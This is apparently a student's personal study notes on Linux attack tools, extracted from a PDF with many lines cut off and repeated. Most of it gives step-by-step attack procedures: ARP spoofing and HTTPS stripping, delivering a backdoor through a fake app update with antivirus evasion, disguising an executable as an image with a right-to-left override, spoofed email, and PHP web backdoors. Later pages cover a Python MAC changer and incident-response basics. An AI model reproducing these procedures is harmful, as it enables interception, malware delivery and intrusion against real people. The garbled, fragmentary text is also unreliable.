My Linux Attack Commands-A
My Linux Attack Commands-A
When you jail break an IOS device, it automatically creats an SSH server with default pw
as alpine
Action/Attacks
research with netdiscover for all ip's on a network
research with ZENMAP for all ip's on a network
To make attack easier and faster, we can create a script for the commands by creating a
Caplet, which is a text file containing the 5 commands listed above and execute these
commands in one shot with the "run bettercap" command. We will assume the text file's
name which contains the commands is "spoof.cap"
After MITM attack with bettercap arp spoof attack, we can strip HTTPS to HTTP using
command below. We can use the same attack for HSTS security because the caplet file
has been modified to replace target domains with our own. Eg: Facebook.com with
facebook.corn
Action/Attacks
strip HTTPS to HTTP
Action/Attacks
arpspoof -i eth0 -t TARGETIP ROUTERIP Both commands will be run back-to-back simultaneously
arpspoof -i eth0 -t ROUTERIP TARGETIP
echo 1 > /proc/sys/net/ipv4/ip_forward
help net.probe
net.probe on step 1
net.probe off
net.show
help arp.spoof
set arp.spoof.fullduplex true step 2
arp.spoof.internal true
arp.spoof.skip_restore true
We use the App that turns the wireless adapter into a Wifi
hubspot. Once an un-suspecting user connects to the
internet using our wifi, we automatically become MITM
and can sniff packets
Detection/Prevention
Detection/Prevention
Detection/Prevention
show (something)
use (something)
set (options) (value)
exploit
Comments Detection/Prevention
# cd /opt/evilgrade step 1
# ./evilgrade step 2
# show modules step 3
# configure DAP step 4
Show options step 5
set agent/var/www/html/backdoor.exe step 6
set endsight www.speedbit.com step 7
start step 8
Commands Comments Detection/Prevention
Aim of modifying step 4,5,6 is to make the payload unique such that it wouldn’t be
recognized by antiviruses
ensure that the "payload option" name is same as the payload in the backdoor to be
delivered. If different, go to step 4
Once the payload in the exploit and that in the backdoor matches, then ensure you set
the parameters like LHOST and LPORT match the spec in the backdoor (see next steps)
We hope to deliver the payload by disguising a "fake App update". Evilgrade is an App
we will be using for this purpose - Evilgrade will serve as a server that aids App updates
In this method we deliver the payload when the target downloads an executable file.
Payload and file needed by the tartget are downloaded together
To do this , we run BDFProxy module and then execute a spoofing attack on the destination in which the target machine conne
ch the target machine connects back to
Maltego is a versatile tool for gathering information used in social enginnering
Using " autoit-download-and-execute.txt", we can also backdoor other files types like images (jpg), pdf's, mp3's, etc by injecti
from the web(file must be jpg or png and must not be html), followed by the backdoor evil file stored on our machine eg: http
To compile and change the Trojan's icon to that of the image or file types icon we use a modified version of " autoit-download
Backdoor and also select an icon for the file from www.iconarchive.com. You may also change an image to an icon using any a
Detection/Prevention To detect, manually inspect file extension or put file in a sandbox. You ca
If the backdoor file doesn’t end with the corresponding suffix to completely disquise the file (eg: sugar.exe is inappropriate for
character overide" between r & g. If browser security prevents the filename from using the character overide, compress the fi
Another way is to inject the BeEF hook script into HSTSHIJACK Caplet and run a spoofing attack to bypass Https, such that the
When generating a backdoor that would work outside of the local network we need to specify the external or public IP of the
g), pdf's, mp3's, etc by injecting our backdoor file into them such that when they are being downloaded, the backdoor script of file runs si
ored on our machine eg: http://192.168.245.128/Evil-Files/revhttps_8080.exe
version of " autoit-download-and-execute.txt" by renaming it to " autoit-download-and-execute.au3". Then we open the Autoit Compile A
image to an icon using any app online to convert image to icon. Once you ave the backdoor file completed, you can then hope to have it d
r put file in a sandbox. You can also use "https://hybrid-analysis.com" to check the file
sugar.exe is inappropriate for a supposed image file), we can spoof the file to manipulate its name as follows: Rename file to sugarexe.jpg
cter overide, compress the file into a ZIP file
Comments Detection/Prevention
step 1
step 2 **Remember the addition of the "-o message-header" lets the email show a nam
Common:
-t ADDRESS [ADDR ...] to email address(es)
-u SUBJECT message subject
-m MESSAGE message body
-s SERVER[:PORT] smtp mail relay, default is localhost:25
-S [SENDMAIL_PATH] use local sendmail utility (default: /usr/bin/sendmai
Optional:
-a FILE [FILE ...] file attachment(s)
-cc ADDRESS [ADDR ...] cc email address(es)
-bcc ADDRESS [ADDR ...] bcc email address(es)
-xu USERNAME username for SMTP authentication
-xp PASSWORD password for SMTP authentication
Paranormal:
-b BINDADDR[:PORT] local host bind address
-l LOGFILE log to the specified file
-v verbosity, use multiple times for greater effect
-q be quiet (i.e. no STDOUT output)
-o NAME=VALUE advanced options, for details try: --help misc
-o message-content-type=<auto|text|html>
-o message-file=FILE -o message-format=raw
-o message-header=HEADER -o message-charset=CHARSET
-o reply-to=ADDRESS -o timeout=SECONDS
-o username=USERNAME -o password=PASSWORD
-o tls=<auto|yes|no> -o fqdn=FQDN
Comments Detection/Prevention
step 2
step 3
step 4
step5
step 6
o bypass Https, such that the target injects the code on any site they visit.
e open the Autoit Compile App and fill the form with the required location info for Autoit File
u can then hope to have it downloaded using metasploit or MITM attack
Rename file to sugarexe.jpg by renaming the file as "sugargpj.exe and placing a "right-to-left
ocalhost:25
(default: /usr/bin/sendmail) instead of network MTA
eater effect
set=CHARSET
After penetrating a system, one very good tool to use is Metaspoit / Meterpreter (Explore the use further with tutorials
Meterpreter is also a good tool with lots of post connection commands to play with for "post exploitation"
Its advisable to use "migrate" command in meterpreter to move onto explorer so that we can keep connected
Remember that port 80 or 8080 is usually used for connection by most servers
exploitation"
keep connected
How Type
https://hybrid-analysis.com Manual
Configure Router 4 reverse engineering with IP Forwarding
To configure the router for a reverse attack from outside the local network, we need to specify the IP address of the router in
router to send the incoming traffic to our Kali machine. We configure the router by opening its dashboard and filling out neces
any requests it gets on a specified port to our kali machine
y the IP address of the router in the command and then configure the
dashboard and filling out necessary parameters instructing it to forward
Term/ Abbrev. Meaning / Explanation
Address-Resolution-Protocol-ARP
First we need to know the App the website was built with so that we know what the programming language for the website is
(eg: PHP, Python, or Javascript) PHP and Python are serverside language while Javascript is Clientside language)
There are tools used to gather some of these informattion required to launch a website attack, some are "whois lookup", "Net
We can also hack a website with good security through other sites on the same server or through its subdomains. To find othe
server, we ping its ip addreess and search it on Bing. To find a sites sub domain, we use the tool "Knockpy" in Kali
We can find files within a website by running thhe tool "dirb" eg: dirb https://dijibay.com
We can also use weevely, which is a tool used to create a php backdoor to exploit a website (Eg of command: weevely genera
/root/shell.php). We can then upload this PHP backdoor to a website to gain access
To exploit code execution vulneralbilities we need to create the commands in the backdoor with the same language as the op
Local file inclusion: We exploit any opportunitty a website has to allow uploading of files and we can use Netcat to listen in on
Remote File Inclusion: If the server is configured to allow a certain function called "allow_url and allow_url_fopen" , we will be
, some are "whois lookup", "Netcraft Site Report", "Robtex DNS Lookup"
ugh its subdomains. To find other sites on the same
ol "Knockpy" in Kali
th the same language as the operating system for the server and upload to a writeable file
we can use Netcat to listen in on a reverse connection *I need to explore netcat furthher*
nd allow_url_fopen" , we will be able to include any file from anywhere
If SQL injection is found, this can be very dangerous as it gives quick access to the website database. To find SQL injection vuln
with the login form using different logic codes
As regards injecting code into a browser, there is a high probability this may work if we notice that the browser url of the web
SQL Map is a linux tool to used for this type of attack (I will explore using thhis ttool more*
abase. To find SQL injection vulnerability, we can play around
that the browser url of the website has a dot php equals something (fgh.com/index.php=34)
A tool to use in exploring website vulnerabilities is OWASP ZAP ( I need to play more with this tool)
Python Programing
I installed Pycharm for Python programming. To open Pycharm, we navigate to the downloaded applicatio
community-2022.2.3/bin) next we open the pycharm.sh application in the “Terminal” and run this coman
community-2022.2.3/bin# ./pycharm.sh
#!/usr/bin/env python
Modules Function
Subprocess Call
Page 40
Python Programing
or Python programming. To open Pycharm, we navigate to the downloaded application in (Downloads/opt/pycharm-
/bin) next we open the pycharm.sh application in the “Terminal” and run this comand ~/Downloads/opt/pycharm-
/bin# ./pycharm.sh
Command
#!/usr/bin/env python 1
import subprocess 2
subprocess.call("ifconfig", shell=True) 3
#!/usr/bin/env python 1
2
import subprocess 3
4
interface = "wlan0" 5
new_mac = "00:11:22:44:77:98" 6
7
print("[+] Changing Mac address for " + interface + "to new_mac") 8
9
subprocess.call("ifconfig", shell=True) 10
subprocess.call("ifconfig " + interface + " down", shell=True) 11
subprocess.call("ifconfig " + interface + " hw ether " + new_mac, shell=True 12
subprocess.call("ifconfig " + interface + " up", shell=True) 13
14
Page 41
Python Programing
application in (Downloads/opt/pycharm-
is comand ~/Downloads/opt/pycharm-
Page 42
Incident Response
1. Preparation 2. Identification 3.
Containment 4. Eradication 5. Recovery
Key Phases of an Incident Response Plan 6. Lessons learned
1. External/removable media 2.
Attack Strategies
Attrition 3. Web 4. Email 5.
Improper Usage 6. Loss of the
equipment 6. Other
Page 44
Incident Response
Page 45
Incident Response
e action or a set of steps or procedure followed when there is a threat or security breach. These
ses of an incident response plan
lan is an action plan taken to counter and a security breach or threat to mitigate loss of assets and
2. Lead Investigator 3.
Lead 4. Documentation &
. HR/Legal representation
2. Identification 3.
adication 5. Recovery
ons learned
ovable media 2.
b 4. Email 5.
6. Loss of the
ther
Page 46
nd Probing 2. Delivery and Attack Incident Response
Installation 4. System
Page 47
Incident Response
l institutions examination
e in the banking industry
attacks
me Logic is the technology
for Man In The Browser
ecuted from the users
Page 48
Incident Response
SIEM delivers next-generation cybersecurity functionality for businesses in real-time. It covers the
key challenges of modern cybersecurity: from threat intelligence to managing events and incident
response. It brings together two disciplines—security information management and event
management (SEM) and offers real-time analysis of security operations across your IT
infrastructure.
Page 49
Incident Response
Page 50
Incident Response
Page 51